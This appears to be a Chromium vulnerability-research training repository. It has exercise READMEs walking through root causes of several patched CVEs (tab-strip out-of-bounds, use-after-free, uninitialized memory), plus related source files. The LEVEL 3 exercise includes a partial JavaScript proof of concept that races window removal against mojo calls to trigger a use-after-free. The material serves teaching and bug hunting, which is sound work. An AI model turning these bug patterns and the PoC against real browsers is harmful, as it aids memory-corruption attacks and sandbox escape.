static_cast(length), IsFinished(false), 74 | controller, exception_state); 75 | return ScriptPromise::CastUndefined(script_state_); 76 | } 77 | DCHECK(buffer_source.IsArrayBuffer()); 78 | const auto* array_buffer = buffer_source.GetAsArrayBuffer(); 79 | const uint8_t* start = static_cast(array_buffer->Data()); 80 | size_t length = array_buffer->ByteLength(); 81 | if (length > std::numeric_limits::max()) { 82 | exception_state.ThrowRangeError( 83 | "Buffer size exceeds maximum heap object size."); 84 | return ScriptPromise(); 85 | } 86 | Inflate(start, static_cast(length), IsFinished(false), controller, 87 | exception_state); 88 | 89 | return ScriptPromise::CastUndefined(script_state_); 90 | } 91 | 92 | ScriptPromise InflateTransformer::Flush( 93 | TransformStreamDefaultController* controller, 94 | ExceptionState& exception_state) { 95 | DCHECK(!was_flush_called_); 96 | Inflate(nullptr, 0u, IsFinished(true), controller, exception_state); 97 | inflateEnd(&stream_); 98 | was_flush_called_ = true; 99 | out_buffer_.clear(); 100 | 101 | if (!reached_end_) { 102 | exception_state.ThrowTypeError("Compressed input was truncated."); 103 | } 104 | 105 | return ScriptPromise::CastUndefined(script_state_); 106 | } 107 | 108 | void InflateTransformer::Inflate(const uint8_t* start, 109 | wtf_size_t length, 110 | IsFinished finished, 111 | TransformStreamDefaultController* controller, 112 | ExceptionState& exception_state) { 113 | if (reached_end_ && length != 0) { 114 | // zlib will ignore data after the end of the stream, so we have to 115 | // explicitly throw an error. 116 | exception_state.ThrowTypeError("Junk found after end of compressed data."); 117 | return; 118 | } 119 | 120 | stream_.avail_in = length; 121 | // Zlib treats this pointer as const, so this cast is safe. 122 | stream_.next_in = const_cast(start); 123 | 124 | do { 125 | stream_.avail_out = out_buffer_.size(); 126 | stream_.next_out = out_buffer_.data(); 127 | const int err = inflate(&stream_, finished ? Z_FINISH : Z_NO_FLUSH); 128 | if (err != Z_OK && err != Z_STREAM_END && err != Z_BUF_ERROR) { 129 | DCHECK_NE(err, Z_STREAM_ERROR); 130 | if (err == Z_DATA_ERROR) { 131 | exception_state.ThrowTypeError( 132 | String("The compressed data was not valid: ") + stream_.msg + "."); 133 | } else { 134 | exception_state.ThrowTypeError("The compressed data was not valid."); 135 | } 136 | return; 137 | } 138 | 139 | wtf_size_t bytes = out_buffer_.size() - stream_.avail_out; 140 | if (bytes) { 141 | controller->enqueue( 142 | script_state_, 143 | ScriptValue::From(script_state_, 144 | DOMUint8Array::Create(out_buffer_.data(), bytes)), 145 | exception_state); 146 | if (exception_state.HadException()) { 147 | return; 148 | } 149 | } 150 | 151 | if (err == Z_STREAM_END) { 152 | reached_end_ = true; 153 | if (stream_.next_in < start + length) { 154 | exception_state.ThrowTypeError( 155 | "Junk found after end of compressed data."); 156 | } 157 | return; 158 | } 159 | } while (stream_.avail_out == 0); 160 | } 161 | 162 | void InflateTransformer::Trace(Visitor* visitor) const { 163 | visitor->Trace(script_state_); 164 | TransformStreamTransformer::Trace(visitor); 165 | } 166 | 167 | } // namespace blink 168 | -------------------------------------------------------------------------------- /LEVEL_2/exercise_4/README.md: -------------------------------------------------------------------------------- 1 | # Exercise 4 2 | 3 | In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. therefore in LEVEL 2 we do the same as LEVEL 1 without the help of Details. 4 | 5 | ## CVE-2021-30565 6 | I sugget you don't search any report about it to prevents get too much info like patch. 7 | 8 | 9 | ### Details 10 | 11 | In level 2, we do it without the help of Details 12 | 13 | 14 | --------- 15 | 16 |
17 | For more info click me! But you'd better not do this 18 | 19 | https://bugs.chromium.org/p/chromium/issues/detail?id=1210985 20 | 21 |
22 | 23 | -------- 24 | 25 | ### Set environment 26 | 27 | after you fetch chromium 28 | ```sh 29 | git reset --hard e382f185aaee6d4f4a5f8762f1a1ae89bcc0d046 30 | ``` 31 | 32 | ### Related code 33 | 34 | [chrome/browser/ui/tabs/tab_strip_model.cc](https://source.chromium.org/chromium/chromium/src/+/e382f185aaee6d4f4a5f8762f1a1ae89bcc0d046:chrome/browser/ui/tabs/tab_strip_model.cc) 35 | 36 | This time we analysis [`tab`](https://www.chromium.org/user-experience/tabs), a module of chrome. You can read [this](https://www.chromium.org/developers/design-documents/tab-strip-mac) to get info of `tab strip`. 37 | 38 | tips: You can get help from [CVE-2021-30526](https://bugs.chromium.org/p/chromium/issues/detail?id=1198717) 39 | 40 | ### Do it 41 | Do this exercise by yourself, If you find my answer have something wrong, please correct it. 42 | 43 | 44 | --------- 45 | 46 |
47 | My answer 48 | 49 | In my cognition, we can focus on `pinned tab`, because I notice this comment 50 | ```c++ 51 | // Each tab may be pinned. Pinned tabs are locked to the left side of the tab 52 | // strip and rendered differently (small tabs with only a favicon). The model 53 | // makes sure all pinned tabs are at the beginning of the tab strip. 54 | ``` 55 | If we can make a pinned tab is not at the left side of the tab strip, what happen? 56 | 57 | ```c++ 58 | int TabStripModel::MoveWebContentsAt(int index, 59 | int to_position, 60 | bool select_after_move) { 61 | to_position = ConstrainMoveIndex(to_position, IsTabPinned(index)); [1] 62 | 63 | if (index == to_position) 64 | return to_position; 65 | 66 | MoveWebContentsAtImpl(index, to_position, select_after_move); 67 | EnsureGroupContiguity(to_position); 68 | 69 | return to_position; 70 | } 71 | ====================================================== 72 | int TabStripModel::ConstrainMoveIndex(int index, bool pinned_tab) const { 73 | return pinned_tab 74 | ? base::ClampToRange(index, 0, IndexOfFirstNonPinnedTab() - 1) [2] 75 | : base::ClampToRange(index, IndexOfFirstNonPinnedTab(), 76 | count() - 1); 77 | } 78 | ====================================================== 79 | template 80 | constexpr const T& ClampToRange(const T& value, const T& min, const T& max) { 81 | return std::min(std::max(value, min), max); 82 | } 83 | ``` 84 | If we make pinned tab at index 1, and non-pinned tab at 0. Then we move pinned tab to 0, this will trigger `MoveWebContentsAt`. 85 | 86 | [1] `ConstrainMoveIndex(0, true);`, and [2] `min(1, 0, 0 - 1)`. This will result in an OOB write 87 | 88 | How can we make a pinned tab that's not at the start of the tab strip? 89 | ```c++ 90 | void TabStripModel::MoveTabRelative(bool forward) { 91 | const int offset = forward ? 1 : -1; 92 | 93 | // TODO: this needs to be updated for multi-selection. 94 | const int current_index = active_index(); 95 | absl::optional current_group = 96 | GetTabGroupForTab(current_index); 97 | 98 | int target_index = std::max(std::min(current_index + offset, count() - 1), 0); 99 | absl::optional target_group = 100 | GetTabGroupForTab(target_index); 101 | 102 | // If the tab is at a group boundary and the group is expanded, instead of 103 | // actually moving the tab just change its group membership. 104 | if (current_group != target_group) { 105 | if (current_group.has_value()) { 106 | UngroupTab(current_index); 107 | return; 108 | } else if (target_group.has_value()) { 109 | // If the tab is at a group boundary and the group is collapsed, treat the 110 | // collapsed group as a tab and find the next available slot for the tab 111 | // to move to. 112 | const TabGroup* group = group_model_->GetTabGroup(target_group.value()); 113 | if (group->visual_data()->is_collapsed()) { 114 | const gfx::Range tabs_in_group = group->ListTabs(); 115 | target_index = 116 | forward ? tabs_in_group.end() - 1 : tabs_in_group.start(); 117 | } else { 118 | GroupTab(current_index, target_group.value()); 119 | return; 120 | } 121 | } 122 | } 123 | MoveWebContentsAt(current_index, target_index, true); 124 | } 125 | ``` 126 | `TabStripModel::MoveTabRelative` doesn't check whether a tab is pinned, so we can move pinned tab to a group. But a pinned tab typically can't be placed in a group, so the `Groups.move` operation have no check about move pinned tab to index 1 or other. Then the `IndexOfFirstNonPinnedTab` can be 0 at the same time pinned tab index 1. 127 | 128 | 129 | 130 |
131 | 132 | -------- 133 | -------------------------------------------------------------------------------- /LEVEL_2/exercise_5/README.md: -------------------------------------------------------------------------------- 1 | # Exercise 5 2 | 3 | In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. therefore in LEVEL 2 we do the same as LEVEL 1 without the help of Details. 4 | 5 | ## CVE-2021-21159 6 | I sugget you don't search any report about it to prevents get too much info like patch. 7 | 8 | 9 | ### Details 10 | 11 | In level 2, we do it without the help of Details 12 | 13 | 14 | --------- 15 | 16 |
17 | For more info click me! But you'd better not do this 18 | 19 | https://bugs.chromium.org/p/chromium/issues/detail?id=1171049 20 | 21 |
22 | 23 | -------- 24 | 25 | ### Set environment 26 | 27 | after you fetch chromium 28 | ```sh 29 | git reset --hard ae7b398ad2ba00cbf901fda43305ad9b371d534a 30 | ``` 31 | 32 | ### Related code 33 | chrome/browser/ui/views/tabs/tab_drag_controller.cc 34 | 35 | chrome/browser/ui/tabs/tab_strip_model.cc 36 | 37 | you have to read the `tab_drag_controller.h` and `tab_strip_model.h` to understand some nouns. 38 | 39 | tips: 40 | 41 | **TabDragController** 42 | ```c++ 43 | // TabDragController is responsible for managing the tab dragging session. When 44 | // the user presses the mouse on a tab a new TabDragController is created and 45 | // Drag() is invoked as the mouse is dragged. If the mouse is dragged far enough 46 | // TabDragController starts a drag session. The drag session is completed when 47 | // EndDrag() is invoked (or the TabDragController is destroyed). 48 | // 49 | // While dragging within a tab strip TabDragController sets the bounds of the 50 | // tabs (this is referred to as attached). When the user drags far enough such 51 | // that the tabs should be moved out of the tab strip a new Browser is created 52 | // and RunMoveLoop() is invoked on the Widget to drag the browser around. This 53 | // is the default on aura. 54 | ``` 55 | **TabStripModel** 56 | ```c++ 57 | // TabStripModel 58 | // 59 | // A model & low level controller of a Browser Window tabstrip. Holds a vector 60 | // of WebContentses, and provides an API for adding, removing and 61 | // shuffling them, as well as a higher level API for doing specific Browser- 62 | // related tasks like adding new Tabs from just a URL, etc. 63 | // 64 | // Each tab may be pinned. Pinned tabs are locked to the left side of the tab 65 | // strip and rendered differently (small tabs with only a favicon). The model 66 | // makes sure all pinned tabs are at the beginning of the tab strip. For 67 | // example, if a non-pinned tab is added it is forced to be with non-pinned 68 | // tabs. Requests to move tabs outside the range of the tab type are ignored. 69 | // For example, a request to move a pinned tab after non-pinned tabs is ignored. 70 | // 71 | // A TabStripModel has one delegate that it relies on to perform certain tasks 72 | // like creating new TabStripModels (probably hosted in Browser windows) when 73 | // required. See TabStripDelegate above for more information. 74 | // 75 | // A TabStripModel also has N observers (see TabStripModelObserver above), 76 | // which can be registered via Add/RemoveObserver. An Observer is notified of 77 | // tab creations, removals, moves, and other interesting events. The 78 | // TabStrip implements this interface to know when to create new tabs in 79 | // the View, and the Browser object likewise implements to be able to update 80 | // its bookkeeping when such events happen. 81 | // 82 | // This implementation of TabStripModel is not thread-safe and should only be 83 | // accessed on the UI thread. 84 | ``` 85 | ### Do it 86 | Do this exercise by yourself, If you find my answer have something wrong, please correct it. 87 | 88 | 89 | --------- 90 | 91 |
92 | My answer 93 | 94 | ```c++ 95 | // Restores |initial_selection_model_| to the |source_context_|. 96 | void TabDragController::RestoreInitialSelection() { 97 | // First time detaching from the source tabstrip. Reset selection model to 98 | // initial_selection_model_. Before resetting though we have to remove all 99 | // the tabs from initial_selection_model_ as it was created with the tabs 100 | // still there. 101 | ui::ListSelectionModel selection_model = initial_selection_model_; [1] 102 | for (DragData::const_reverse_iterator i(drag_data_.rbegin()); 103 | i != drag_data_.rend(); ++i) { 104 | if (i->source_model_index != TabStripModel::kNoTab) 105 | selection_model.DecrementFrom(i->source_model_index); 106 | } 107 | // We may have cleared out the selection model. Only reset it if it 108 | // contains something. 109 | if (selection_model.empty()) 110 | return; 111 | 112 | // The anchor/active may have been among the tabs that were dragged out. Force 113 | // the anchor/active to be valid. 114 | if (selection_model.anchor() == ui::ListSelectionModel::kUnselectedIndex) 115 | selection_model.set_anchor(*selection_model.selected_indices().begin()); 116 | if (selection_model.active() == ui::ListSelectionModel::kUnselectedIndex) 117 | selection_model.set_active(*selection_model.selected_indices().begin()); 118 | source_context_->GetTabStripModel()->SetSelectionFromModel(selection_model); [2] 119 | } 120 | ================================================================= 121 | void TabStripModel::SetSelectionFromModel(ui::ListSelectionModel source) { 122 | DCHECK_NE(ui::ListSelectionModel::kUnselectedIndex, source.active()); 123 | SetSelection(std::move(source), TabStripModelObserver::CHANGE_REASON_NONE, [3] 124 | /*triggered_by_other_operation=*/false); 125 | } 126 | ``` 127 | [1] make `selection_model == initial_selection_model_` 128 | 129 | > Tabs in |source_context_| may have closed since the drag began. In that 130 | > case, |initial_selection_model_| may include indices that are no longer 131 | > valid in |source_context_|. 132 | 133 | [2]|[3] call `SetSelection` and `selection_model` as its parameter which have unvalid indices. 134 | 135 | ```c++ 136 | TabStripSelectionChange TabStripModel::SetSelection( 137 | ui::ListSelectionModel new_model, 138 | TabStripModelObserver::ChangeReason reason, 139 | bool triggered_by_other_operation) { 140 | TabStripSelectionChange selection; 141 | selection.old_model = selection_model_; 142 | selection.old_contents = GetActiveWebContents(); 143 | selection.new_model = new_model; 144 | selection.reason = reason; 145 | 146 | // This is done after notifying TabDeactivated() because caller can assume 147 | // that TabStripModel::active_index() would return the index for 148 | // |selection.old_contents|. 149 | selection_model_ = new_model; [4] 150 | selection.new_contents = GetActiveWebContents(); 151 | 152 | if (!triggered_by_other_operation && 153 | (selection.active_tab_changed() || selection.selection_changed())) { 154 | if (selection.active_tab_changed()) { 155 | auto now = base::TimeTicks::Now(); 156 | if (selection.new_contents && 157 | selection.new_contents->GetRenderWidgetHostView()) { 158 | auto input_event_timestamp = 159 | tab_switch_event_latency_recorder_.input_event_timestamp(); 160 | // input_event_timestamp may be null in some cases, e.g. in tests. 161 | selection.new_contents->GetRenderWidgetHostView() 162 | ->SetRecordContentToVisibleTimeRequest( 163 | !input_event_timestamp.is_null() ? input_event_timestamp : now, 164 | resource_coordinator::ResourceCoordinatorTabHelper::IsLoaded( 165 | selection.new_contents), 166 | /*show_reason_tab_switching=*/true, 167 | /*show_reason_unoccluded=*/false, 168 | /*show_reason_bfcache_restore=*/false); 169 | } 170 | tab_switch_event_latency_recorder_.OnWillChangeActiveTab(now); 171 | } 172 | TabStripModelChange change; 173 | auto visibility_tracker = InstallRenderWigetVisibilityTracker(selection); 174 | for (auto& observer : observers_) 175 | observer.OnTabStripModelChanged(this, change, selection); 176 | } 177 | 178 | return selection; 179 | } 180 | ``` 181 | [4] Notice that `SetSelection` have no check about whether the `new_model.selected_indices()` are exist. 182 | 183 | In a word, detaching a drag after a tab closed will trigger the uaf. 184 |
185 | 186 | -------- 187 | -------------------------------------------------------------------------------- /LEVEL_2/exercise_6/README.md: -------------------------------------------------------------------------------- 1 | # Exercise 6 2 | 3 | In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. therefore in LEVEL 2 we do the same as LEVEL 1 without the help of Details. 4 | 5 | ## CVE-2021-21190 6 | I sugget you don't search any report about it to prevents get too much info like patch. 7 | 8 | 9 | ### Details 10 | 11 | In level 2, we do it without the help of Details 12 | 13 | 14 | --------- 15 | 16 |
17 | For more info click me! But you'd better not do this 18 | 19 | https://bugs.chromium.org/p/chromium/issues/detail?id=1166091 20 | 21 |
22 | 23 | -------- 24 | 25 | ### Set environment 26 | 27 | after you fetch chromium 28 | ```sh 29 | git reset --hard 53913f6b138c7b0cd9771c1b6ab82a143996ef9e 30 | ``` 31 | 32 | ### Related code 33 | pdf/pdfium/pdfium_page.cc 34 | 35 | 36 | ### Do it 37 | Do this exercise by yourself, If you find my answer have something wrong, please correct it. 38 | 39 | 40 | --------- 41 | 42 |
43 | My answer 44 | 45 | ```c++ 46 | // Function: FPDF_PageToDevice 47 | // Convert the page coordinates of a point to screen coordinates. 48 | // Parameters: 49 | // page - Handle to the page. Returned by FPDF_LoadPage. 50 | // start_x - Left pixel position of the display area in 51 | // device coordinates. 52 | // start_y - Top pixel position of the display area in device 53 | // coordinates. 54 | // size_x - Horizontal size (in pixels) for displaying the page. 55 | // size_y - Vertical size (in pixels) for displaying the page. 56 | // rotate - Page orientation: 57 | // 0 (normal) 58 | // 1 (rotated 90 degrees clockwise) 59 | // 2 (rotated 180 degrees) 60 | // 3 (rotated 90 degrees counter-clockwise) 61 | // page_x - X value in page coordinates. 62 | // page_y - Y value in page coordinate. 63 | // device_x - A pointer to an integer receiving the result X 64 | // value in device coordinates. 65 | // device_y - A pointer to an integer receiving the result Y 66 | // value in device coordinates. 67 | // Return value: 68 | // Returns true if the conversion succeeds, and |device_x| and 69 | // |device_y| successfully receives the converted coordinates. 70 | // Comments: 71 | // See comments for FPDF_DeviceToPage(). 72 | FPDF_EXPORT FPDF_BOOL FPDF_CALLCONV FPDF_PageToDevice(FPDF_PAGE page, 73 | int start_x, 74 | int start_y, 75 | int size_x, 76 | int size_y, 77 | int rotate, 78 | double page_x, 79 | double page_y, 80 | int* device_x, 81 | int* device_y) { 82 | if (!page || !device_x || !device_y) 83 | return false; 84 | 85 | IPDF_Page* pPage = IPDFPageFromFPDFPage(page); 86 | const FX_RECT rect(start_x, start_y, start_x + size_x, start_y + size_y); 87 | CFX_PointF page_point(static_cast(page_x), static_cast(page_y)); 88 | absl::optional pos = 89 | pPage->PageToDevice(rect, rotate, page_point); 90 | if (!pos.has_value()) 91 | return false; 92 | 93 | *device_x = FXSYS_roundf(pos->x); 94 | *device_y = FXSYS_roundf(pos->y); 95 | return true; 96 | } 97 | ``` 98 | This cve reward 500, but the same issue exists in many places. 99 | 100 | ```c++ 101 | gfx::Rect PDFiumPage::PageToScreen(const gfx::Point& page_point, 102 | double zoom, 103 | double left, 104 | double top, 105 | double right, 106 | double bottom, 107 | PageOrientation orientation) const { 108 | if (!available_) 109 | return gfx::Rect(); 110 | [ ... ] 111 | FPDF_BOOL ret = FPDF_PageToDevice( 112 | page(), static_cast(start_x), static_cast(start_y), 113 | static_cast(ceil(size_x)), static_cast(ceil(size_y)), 114 | ToPDFiumRotation(orientation), left, top, &new_left, &new_top); 115 | DCHECK(ret); 116 | ret = FPDF_PageToDevice( 117 | page(), static_cast(start_x), static_cast(start_y), 118 | static_cast(ceil(size_x)), static_cast(ceil(size_y)), 119 | ToPDFiumRotation(orientation), right, bottom, &new_right, &new_bottom); 120 | DCHECK(ret); [1] 121 | [ ... ] 122 | } 123 | ``` 124 | [1] `FPDF_PageToDevice` return false if `pos` memory uninitialized. 125 | 126 | > DCHECK() here isn't sufficient to prevent the use of uninitialized 127 | > memory should this someday return false. 128 | 129 | The purpose of using this cve is to remind everyone that if the return value means important, we must CHECK it not just DCHECK. For example, if there is func check whether the `var` has been initialize, return true or false. But we DCHECK the return value, it cause that if the `var` is uninitialized, we cann't prevent to use it in release build. 130 | 131 |
132 | 133 | -------- 134 | -------------------------------------------------------------------------------- /LEVEL_2/exercise_7/README.md: -------------------------------------------------------------------------------- 1 | # Exercise 7 2 | 3 | In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. therefore in LEVEL 2 we do the same as LEVEL 1 without the help of Details. 4 | 5 | ## CVE-2020-6422 6 | I sugget you don't search any report about it to prevents get too much info like patch. 7 | 8 | 9 | ### Details 10 | 11 | In level 2, we do it without the help of Details 12 | 13 | 14 | --------- 15 | 16 |
17 | For more info click me! But you'd better not do this 18 | 19 | https://bugs.chromium.org/p/chromium/issues/detail?id=1166091 20 | 21 |
22 | 23 | -------- 24 | 25 | ### Set environment 26 | 27 | after you fetch chromium 28 | ```sh 29 | git reset --hard a8b9044e5a317034dca14763906aed6fa743ab58 30 | ``` 31 | 32 | 33 | ### Related code 34 | 35 | third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc 36 | 37 | tips: Not all delete operation set `var` null. In some cases we need save the destoried var for next step. 38 | 39 | The bug is in the last quarter of the source code. 40 | 41 | ### Do it 42 | Do this exercise by yourself, If you find my answer have something wrong, please correct it. 43 | 44 | 45 | --------- 46 | 47 |
48 | My answer 49 | 50 | This cve describes a type of vulnerability for us. 51 | ```c++ 52 | void WebGLRenderingContextBase::PrintWarningToConsole(const String& message) { 53 | blink::ExecutionContext* context = Host()->GetTopExecutionContext(); 54 | if (context) { [1] 55 | context->AddConsoleMessage(MakeGarbageCollected( 56 | mojom::ConsoleMessageSource::kRendering, 57 | mojom::ConsoleMessageLevel::kWarning, message)); 58 | } 59 | } 60 | ``` 61 | `if (context)` can not check whether the `context` has been destoried, and then it can cause uap. We need check `context->IsContextDestroyed()`. 62 | ```c++ 63 | // Now that the context and context group no longer hold on to the 64 | // objects they create, and now that the objects are eagerly finalized 65 | // rather than the context, there is very little useful work that this 66 | // destructor can do, since it's not allowed to touch other on-heap 67 | // objects. All it can do is destroy its underlying context, which, if 68 | // there are no other contexts in the same share group, will cause all of 69 | // the underlying graphics resources to be deleted. (Currently, it's 70 | // always the case that there are no other contexts in the same share 71 | // group -- resource sharing between WebGL contexts is not yet 72 | // implemented, and due to its complex semantics, it's doubtful that it 73 | // ever will be.) 74 | void WebGLRenderingContextBase::DestroyContext() { 75 | if (!GetDrawingBuffer()) 76 | return; 77 | 78 | clearProgramCompletionQueries(); 79 | 80 | extensions_util_.reset(); 81 | 82 | base::RepeatingClosure null_closure; 83 | base::RepeatingCallback null_function; 84 | GetDrawingBuffer()->ContextProvider()->SetLostContextCallback( 85 | std::move(null_closure)); 86 | GetDrawingBuffer()->ContextProvider()->SetErrorMessageCallback( 87 | std::move(null_function)); 88 | 89 | DCHECK(GetDrawingBuffer()); 90 | drawing_buffer_->BeginDestruction(); 91 | drawing_buffer_ = nullptr; 92 | } 93 | ``` 94 | 95 | Do this cve for exercise aims to let you know this type of vulnerability. 96 | 97 | 98 |
99 | 100 | -------- 101 | -------------------------------------------------------------------------------- /LEVEL_3/README.md: -------------------------------------------------------------------------------- 1 | # LEVEL 3 2 | 3 | In LEVEL 1 | 2, we do exercise for bug hunting, but we seem forget the Poc. 4 | 5 | We need Poc to prove that we find one truly bug, and help developer repair this bug. 6 | 7 | This time, we need construct Poc(important) and find the bug. -------------------------------------------------------------------------------- /LEVEL_3/exercise_1/README.md: -------------------------------------------------------------------------------- 1 | # Exercise 1 2 | 3 | In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. 4 | 5 | LEVEL 2 we do the same as LEVEL 1 without the help of Details. 6 | 7 | But the bug report need Poc to assist developer reproduce the vulnerability, and know exactly what cause this bug. So LEVEL 3 need we construct Poc by ourselves. 8 | 9 | ## CVE-2021-21226 10 | I sugget you don't search any report about it to prevents get too much info like patch. 11 | 12 | 13 | 14 | ### Details 15 | 16 | In level 3, we do it without the help of Details 17 | 18 | 19 | --------- 20 | 21 |
22 | For more info click me! But you'd better not do this 23 | 24 | https://bugs.chromium.org/p/chromium/issues/detail?id=1197904 25 | 26 |
27 | 28 | -------- 29 | 30 | ### Set environment 31 | 32 | after you fetch chromium 33 | ```sh 34 | git reset --hard f65d388c65bafd029be64609eb5e29243376f8ed 35 | ``` 36 | 37 | 38 | ### Related code 39 | chrome/browser/navigation_predictor/navigation_predictor.cc 40 | 41 | 42 | ### Do it 43 | Do this exercise by yourself, If you find my answer have something wrong, please correct it. 44 | 45 | 46 | --------- 47 | 48 |
49 | My answer 50 | 51 | ```c++ 52 | // It is possible for this class to still exist while its WebContents and 53 | // RenderFrameHost are being destroyed. This can be detected by checking 54 | // |web_contents()| which will be nullptr if the WebContents has been 55 | // destroyed. 56 | ``` 57 | By this comment, we can get if we need do some by `browser_context_` we need check whether web_contents_ alive to provent UAF. 58 | 59 | ```c++ 60 | // This class gathers metrics of anchor elements from both renderer process 61 | // and browser process. Then it uses these metrics to make predictions on what 62 | // are the most likely anchor elements that the user will click. 63 | class NavigationPredictor : public blink::mojom::AnchorElementMetricsHost, 64 | public content::WebContentsObserver, 65 | public prerender::NoStatePrefetchHandle::Observer { 66 | public: 67 | explicit NavigationPredictor(content::WebContents* web_contents); 68 | ~NavigationPredictor() override; 69 | // [ ... ] 70 | private: 71 | // Used to get keyed services. 72 | content::BrowserContext* const browser_context_; // raw ptr 73 | ``` 74 | > Previously, it was possible for the BrowserContext to be destroyed 75 | before ReportAnchorElementMetricsOnClick attempted to access it. 76 | > 77 | > The fix uses the fact that NavigationPredictor extends 78 | WebContentsObserver and checks that web_contents is still alive 79 | before dereferencing BrowserContext. WebContents will always 80 | outlive BrowserContext. 81 | 82 | **Poc** 83 | Because this cve is about mojo and can make sandbox escape, so we need some knowledge about how bind mojo interface. You can read [offical doc](https://chromium.googlesource.com/chromium/src/+/HEAD/mojo/public/js/README.md#interfaces) or other chrome ctf challenge wp(recommend) 84 | 85 | We just need call `ReportAnchorElementMetricsOnClick` after remove window by race. 86 | ```c++ 87 | void NavigationPredictor::ReportAnchorElementMetricsOnClick( 88 | blink::mojom::AnchorElementMetricsPtr metrics) { 89 | DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_); 90 | DCHECK(base::FeatureList::IsEnabled(blink::features::kNavigationPredictor)); 91 | 92 | if (browser_context_->IsOffTheRecord()) [1] 93 | return; 94 | 95 | if (!IsValidMetricFromRenderer(*metrics)) { 96 | mojo::ReportBadMessage("Bad anchor element metrics: onClick."); 97 | return; 98 | } 99 | [ ... ] 100 | ``` 101 | [1] has no check whether the `browser_context_` has been freed, so we can remove the window then call `ReportAnchorElementMetricsOnClick` to trigger uaf. 102 | 103 | The following code is just a demo, you can get complete code [here](https://bugs.chromium.org/p/chromium/issues/detail?id=1197904) 104 | ```js 105 | async function poc() { 106 | // call ReportAnchorElementMetricsOnClick for mulipy 107 | let win1 = await createWindow({url: "https://localhost:8080/child.html", incognito: true}); 108 | 109 | // remove the window 110 | setTimeout(function() { 111 | removeWindow(win1.id); 112 | }, 1200); 113 | } 114 | 115 | // in child.html 116 | async function posttask() { 117 | const MAX = 65536; 118 | for(var i = 0 ; i < MAX; i++){ 119 | // call ReportAnchorElementMetricsOnClick to trigger uaf 120 | anchor_ptr.reportAnchorElementMetricsOnClick(anchor_elements); 121 | } 122 | } 123 | 124 | setTimeout(function() { 125 | posttask(); 126 | }, 1000); 127 | ``` 128 | 129 | we trigger race by `setTimeout` 130 | 131 | 132 |
133 | 134 | -------- 135 | -------------------------------------------------------------------------------- /LEVEL_3/exercise_1/navigation_predictor.h: -------------------------------------------------------------------------------- 1 | // Copyright 2018 The Chromium Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style license that can be 3 | // found in the LICENSE file. 4 | 5 | #ifndef CHROME_BROWSER_NAVIGATION_PREDICTOR_NAVIGATION_PREDICTOR_H_ 6 | #define CHROME_BROWSER_NAVIGATION_PREDICTOR_NAVIGATION_PREDICTOR_H_ 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include "base/macros.h" 15 | #include "base/optional.h" 16 | #include "base/sequence_checker.h" 17 | #include "base/time/time.h" 18 | #include "components/no_state_prefetch/browser/no_state_prefetch_handle.h" 19 | #include "content/public/browser/visibility.h" 20 | #include "content/public/browser/web_contents_observer.h" 21 | #include "mojo/public/cpp/bindings/pending_receiver.h" 22 | #include "services/metrics/public/cpp/ukm_recorder.h" 23 | #include "services/metrics/public/cpp/ukm_source_id.h" 24 | #include "third_party/blink/public/mojom/loader/navigation_predictor.mojom.h" 25 | #include "ui/gfx/geometry/size.h" 26 | #include "url/origin.h" 27 | 28 | namespace content { 29 | class BrowserContext; 30 | class NavigationHandle; 31 | class RenderFrameHost; 32 | } // namespace content 33 | 34 | namespace prerender { 35 | class NoStatePrefetchManager; 36 | } 37 | 38 | class TemplateURLService; 39 | 40 | // This class gathers metrics of anchor elements from both renderer process 41 | // and browser process. Then it uses these metrics to make predictions on what 42 | // are the most likely anchor elements that the user will click. 43 | class NavigationPredictor : public blink::mojom::AnchorElementMetricsHost, 44 | public content::WebContentsObserver, 45 | public prerender::NoStatePrefetchHandle::Observer { 46 | public: 47 | explicit NavigationPredictor(content::WebContents* web_contents); 48 | ~NavigationPredictor() override; 49 | 50 | // Create and bind NavigationPredictor. 51 | static void Create(content::RenderFrameHost* render_frame_host, 52 | mojo::PendingReceiver receiver); 53 | 54 | // Enum describing the possible set of actions that navigation predictor may 55 | // take. This enum should remain synchronized with enum 56 | // NavigationPredictorActionTaken in enums.xml. Order of enum values should 57 | // not be changed since the values are recorded in UMA. 58 | enum class Action { 59 | kUnknown = 0, 60 | kNone = 1, 61 | // DEPRECATED: kPreresolve = 2, 62 | // DEPRECATED: kPreconnect = 3, 63 | kPrefetch = 4, 64 | // DEPRECATED: kPreconnectOnVisibilityChange = 5, 65 | // DEPRECATED: kPreconnectOnAppForeground = 6, // Deprecated. 66 | // DEPRECATED: kPreconnectAfterTimeout = 7, 67 | kMaxValue = kPrefetch, 68 | }; 69 | 70 | // Enum to report the prerender result of the clicked link. Changes must be 71 | // propagated to enums.xml, and the enum should not be re-ordered. 72 | enum class PrerenderResult { 73 | // The prerender finished entirely before the link was clicked. 74 | kSameOriginPrefetchFinished = 0, 75 | // The prerender was started but not finished before the user navigated or 76 | // backgrounded the page. 77 | kSameOriginPrefetchPartiallyComplete = 1, 78 | // The link was waiting to be prerendered while another prerender was in 79 | // progress. 80 | kSameOriginPrefetchInQueue = 2, 81 | // The prerender was attempted, but a prerender mechanism skipped the 82 | // prerender. 83 | kSameOriginPrefetchSkipped = 3, 84 | // The link was same origin, but scored poorly in the decider logic. 85 | kSameOriginBelowThreshold = 4, 86 | // The URL was not seen in the load event. 87 | kSameOriginNotSeen = 5, 88 | // The link was cross origin and scored above the threshold, but we did not 89 | // prerender it. 90 | kCrossOriginAboveThreshold = 6, 91 | // The link was cross origin and scored below the threshold. 92 | kCrossOriginBelowThreshold = 7, 93 | // The URL was not seen in the load event. 94 | kCrossOriginNotSeen = 8, 95 | kMaxValue = kCrossOriginNotSeen, 96 | }; 97 | 98 | private: 99 | // Struct holding navigation score, rank and other info of the anchor element. 100 | // Used for look up when an anchor element is clicked. 101 | struct NavigationScore; 102 | 103 | // blink::mojom::AnchorElementMetricsHost: 104 | void ReportAnchorElementMetricsOnClick( 105 | blink::mojom::AnchorElementMetricsPtr metrics) override; 106 | void 